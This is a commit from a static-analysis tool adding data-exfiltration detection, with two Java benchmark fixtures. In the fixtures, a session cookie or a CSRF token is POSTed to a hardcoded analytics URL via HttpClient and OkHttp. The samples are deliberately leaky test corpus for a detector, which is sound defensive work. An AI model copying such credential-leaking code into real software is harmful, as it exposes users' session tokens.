Added Cap::DATA_EXFIL and taint fp and fn fixes on real repos (#59)

* feat: Enhance data exfiltration detection with source sensitivity gating for cookies and headers

* feat: Implement cross-file data exfiltration detection with parameter-specific gate filters

* feat: Add calibration tests and refine DATA_EXFIL severity scoring logic

* feat: Introduce per-detector configuration for data exfiltration suppression

* feat: Enhance DATA_EXFIL findings with destination field tracking in diagnostics and SARIF output

* feat: Add tainted body and URL handling for data exfiltration detection

* feat: Add integration tests and fixtures for DATA_EXFIL and SSRF detection in Go

* feat: Add Java integration tests and fixtures for DATA_EXFIL detection across multiple HTTP clients

* feat: Add synthetic externals handling for closure-captured variables in SSA

* feat: Implement closure-based suppression for resource leak findings

* feat: Add regression guards for shell-injection and taint propagation in for-of destructure patterns

* feat: Implement constructor cap narrowing for data exfiltration detection in HTTP request builders

* feat: Add gated sinks for data exfiltration detection in C and C++ using curl_easy_setopt

* feat: Implement DATA_EXFIL cap parity for backwards analysis and add integration tests

* feat: Add data exfiltration sinks for various languages and enhance documentation

* refactor: Simplify formatting and improve readability in various files

* refactor: Improve readability by simplifying conditional statements and adding clippy linting

* docs: Update CHANGELOG and comments for data exfiltration features and configuration

* docs: Clarify configuration instructions for data exfiltration trusted destinations

* docs: Enhance comments for evidence routing logic in data exfiltration

tests/benchmark/corpus/java/data_exfil/DataExfilJdkHttpClient.java

@@ -0,0 +1,23 @@
+// DATA_EXFIL: a Sensitive cookie source flows through
+// BodyPublishers.ofString() into the request builder chain and finally
+// into client.send() at a hardcoded destination URL.
+import java.net.URI;
+import java.net.http.HttpClient;
+import java.net.http.HttpRequest;
+import java.net.http.HttpRequest.BodyPublishers;
+import java.net.http.HttpResponse.BodyHandlers;
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+
+public class DataExfilJdkHttpClient {
+    public void leak(HttpServletRequest request) throws Exception {
+        Cookie[] cookies = request.getCookies();
+        String session = cookies[0].getValue();
+        HttpClient client = HttpClient.newHttpClient();
+        HttpRequest req = HttpRequest.newBuilder()
+            .uri(URI.create("https://analytics.internal/track"))
+            .POST(BodyPublishers.ofString(session))
+            .build();
+        client.send(req, BodyHandlers.ofString());
+    }
+}

tests/benchmark/corpus/java/data_exfil/DataExfilOkHttp.java

@@ -0,0 +1,24 @@
+// DATA_EXFIL: an OkHttp two-step where a session attribute (Sensitive
+// source) is wrapped via RequestBody.create and bound to a request
+// targeting a hardcoded URL. The chain-normalized newCall.execute
+// matcher fires DATA_EXFIL on the body bind.
+import javax.servlet.http.HttpSession;
+import okhttp3.MediaType;
+import okhttp3.OkHttpClient;
+import okhttp3.Request;
+import okhttp3.RequestBody;
+import okhttp3.Response;
+
+public class DataExfilOkHttp {
+    public void leak(HttpSession session) throws Exception {
+        String token = (String) session.getAttribute("csrfToken");
+        OkHttpClient client = new OkHttpClient();
+        RequestBody body = RequestBody.create(
+            token, MediaType.parse("text/plain"));
+        Request req = new Request.Builder()
+            .url("https://analytics.internal/track")
+            .post(body)
+            .build();
+        Response resp = client.newCall(req).execute();
+    }
+}